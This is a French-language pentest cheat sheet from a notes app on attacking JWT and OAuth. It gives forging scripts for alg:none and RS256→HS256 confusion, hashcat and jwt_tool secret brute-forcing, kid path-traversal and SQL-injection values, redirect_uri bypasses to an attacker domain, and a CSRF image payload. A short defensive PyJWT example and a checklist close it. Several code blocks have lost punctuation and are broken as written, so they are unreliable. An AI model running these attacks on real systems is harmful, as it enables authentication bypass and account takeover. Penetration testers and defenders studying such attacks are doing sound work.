MDstable
NoteSnippetChecklistPlaybook

OAuth & JWT Attacks — Token Forgery, Algorithm Confusion

Attaques JWT : alg:none, RS256→HS256 confusion, brute force secret, OAuth misconfig, open redirect

snippetadvanced 2026-05-14 5 min read
jwtoauthtoken-forgeryalgorithm-confusionburpsuiteauthenticationpentest

Anatomie d'un JWT

HeaderPayloadSignature
Header base64url "alg""HS256""typ""JWT"
Payload base64url "sub""user_123""role""user""exp"1716649200
Signature HMACSHA256base64urlheader"."base64urlpayload secret
Exemple token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9eyJzdWIiOiJ1c2VyXzEyMyIsInJvbGUiOiJ1c2VyIn0SIGNATURE
bash
Variables
{{JWT_TOKEN}}
# Décoder un JWT (sans vérifier la signature)
echo "{{JWT_TOKEN}}" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m jsontool
# jwt_tool — outil complet pour tester les JWTs
pip3 install jwt_tool
jwt_tool {{JWT_TOKEN}} # décoder + infos
jwt_tool {{JWT_TOKEN}} -T # tamper — modifier les claims
jwt_tool {{JWT_TOKEN}} -C -d /usr/share/wordlists/rockyou.txt # brute force secret

Attaque 1 — alg:none

python
# Si le serveur accepte alg:none → signature ignorée → forger n'importe quel claim
import base64, json
def b64url(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# Modifier le header : alg → "none"
header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
# Modifier le payload : changer le rôle ou l'ID
payload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}).encode())
# Signature vide
forged_token = f"{header}.{payload}."
print(forged_token)
bash
Variables
{{JWT_TOKEN}}
# jwt_tool — test alg:none automatique
jwt_tool {{JWT_TOKEN}} -X a
# Variantes à tester : "none", "None", "NONE", "nOnE"
# Certains serveurs font une comparaison insensible à la casse

Attaque 2 — Algorithm Confusion RS256 → HS256

Principe
Serveur vrifie en RS256 cl prive signe cl publique vrifie
Attaquant change lalg en HS256
Serveur vrifie alors HMAC avec la cl publique comme secret
La cl publique est souvent disponible endpoint /jwks.json certificat TLS
tapes
1 Rcuprer la cl publique RSA du serveur
2 Forger un token HS256 sign avec la cl publique comme secret HMAC
3 Soumettre si le serveur ne vrifie pas lalg attendu token accept
bash
Variables
{{TARGET}}
{{JWT_TOKEN}}
# Récupérer la clé publique
curl https//{{TARGET}}/.well-known/jwks.json
curl https//{{TARGET}}/api/auth/keys
# Ou extraire du certificat TLS
openssl s_client -connect {{TARGET}}443 2>/dev/null | openssl x509 -pubkey -noout > pubkeypem
# Forger le token HS256 avec jwt_tool
jwt_tool {{JWT_TOKEN}} -X k -pk pubkeypem
# Manuel avec python-jwt
python3 << 'EOF'
import jwt
with open'pubkey.pem' 'rb' as f
public_key fread
payload "sub" "admin" "role" "admin" "exp" 9999999999
forged jwtencodepayload public_key algorithm"HS256"
printforged
EOF

Attaque 3 — Brute Force du secret HS256

bash
Variables
{{JWT_TOKEN}}
{{APP_NAME}}
# hashcat — brute force secret HMAC-SHA256
# Format : header.payload → signature
echo -n "{{JWT_TOKEN}}" > jwttxt
hashcat -a 0 -m 16500 jwttxt /usr/share/wordlists/rockyou.txt
# jwt_tool — brute force intégré
jwt_tool {{JWT_TOKEN}} -C -d /usr/share/wordlists/rockyou.txt
# Secrets communs à tester manuellement
python3 << 'EOF'
import jwt
common_secrets "secret" "password" "jwt_secret" "your-256-bit-secret"
"supersecret" "mysecretkey" "{{APP_NAME}}" "admin"
token "{{JWT_TOKEN}}"
for s in common_secrets
try
decoded jwtdecodetoken s algorithms"HS256"
printf"[FOUND] Secret: {s}"
printdecoded
break
except
pass
EOF

Attaque 4 — JWK Header Injection

Si le serveur accepte un JWK embarqu dans le header du token lui-même
Injecter sa propre cl publique RSA dans le header
Signer le token avec la cl prive correspondante
Le serveur vrifie avec "notre" cl publique embarque accept
bash
Variables
{{JWT_TOKEN}}
# jwt_tool — JWK injection automatique
jwt_tool {{JWT_TOKEN}} -X i
# kid (Key ID) injection :
# Si le header contient kid: "path/to/key"
# Tenter : kid: "../../dev/null" (secret = contenu de /dev/null = vide)
# Ou kid: "0 UNION SELECT 'secret'--" (si kid est utilisé dans une requête SQL)
jwt_tool {{JWT_TOKEN}} -I -hc kid -hv "../../dev/null"

OAuth — Attaques sur les flux

Open Redirect → Vole le code d'autorisation

bash
Variables
{{OAUTH_SERVER}}
{{CLIENT_ID}}
{{APP}}
{{ATTACKER_DOMAIN}}
{{ALLOWED_DOMAIN}}
{{ATTACKER_PATH}}
# Si le redirect_uri n'est pas strictement validé
# URL OAuth normale :
# https://{{OAUTH_SERVER}}/authorize?
# client_id={{CLIENT_ID}}&redirect_uri=https://{{APP}}/callback&response_type=code
# Attaque : redirect_uri → domaine contrôlé par l'attaquant
# https://{{OAUTH_SERVER}}/authorize?
# client_id={{CLIENT_ID}}&
# redirect_uri=https://{{ATTACKER_DOMAIN}}/callback&
# response_type=code
# Bypass courants :
# redirect_uri=https://{{ALLOWED_DOMAIN}}.{{ATTACKER_DOMAIN}}/
# redirect_uri=https://{{ALLOWED_DOMAIN}}/../../{{ATTACKER_PATH}}
# redirect_uri=https://{{ATTACKER_DOMAIN}}%23{{ALLOWED_DOMAIN}}

CSRF sur le flux OAuth

html
Variables
{{OAUTH_SERVER}}
{{CLIENT_ID}}
{{APP}}
<!-- Intercepter le code d'autorisation en cours de flux
Si state parameter absent ou non vérifié → CSRF OAuth -->
<img src="https://{{OAUTH_SERVER}}/authorize?
client_id={{CLIENT_ID}}&
redirect_uri=https://{{APP}}/callback&
response_type=code&
state=CSRF_TOKEN_STOLEN" width="0">
<!-- Forcer la victime à lier son compte OAuth à notre compte attaquant -->

Leakage du access_token via Referer

Si l'access_token est dans l'URL response_typetoken
ET la page fait des requtes vers des ressources tierces
Laccess_token apparat dans le header Referer des requtes tierces

Défense JWT

python
Variables
{{APP_AUDIENCE}}
# Python (PyJWT) — vérification stricte
import jwt
EXPECTED_ALGORITHM = "RS256" # Whitelist d'algorithmes acceptés
PUBLIC_KEY = open("public_key.pem").read()
def verify_token(token: str) -> dict:
try:
payload = jwt.decode(
token,
PUBLIC_KEY,
algorithms=[EXPECTED_ALGORITHM], # Jamais ["RS256", "HS256"] ensemble
options={
"verify_exp": True,
"verify_aud": True,
"require": ["exp", "iat", "sub"]
},
audience="{{APP_AUDIENCE}}"
)
return payload
except jwt.exceptions.InvalidTokenError as e:
raise AuthenticationError(str(e))
Checklist JWT
Whitelist dalgorithmes explicite jamais "any" ou liste mixte RSHS
Ne jamais faire confiance lalg du token lui-même pour choisir la mthode
Valider exp iat aud chaque requte
Secret HS256 > 32 bytes alatoires pas un mot de passe
Ne pas stocker de donnes sensibles dans le payload il est lisible sans signature
Implmenter une liste de rvocation pour les tokens critiques
⚠ Attention —

La confusion d'algorithme RS256→HS256 est une vulnérabilité critique souvent présente dans les implémentations custom. Les librairies JWT récentes (PyJWT 2.x, java-jwt 4.x, jsonwebtoken 9.x) la corrigent, mais les apps héritées ou les vérifications manuelles restent vulnérables si l'algorithme n'est pas vérifié explicitement côté serveur.

OPS·BRAIN v1.075 notes · Securitylocal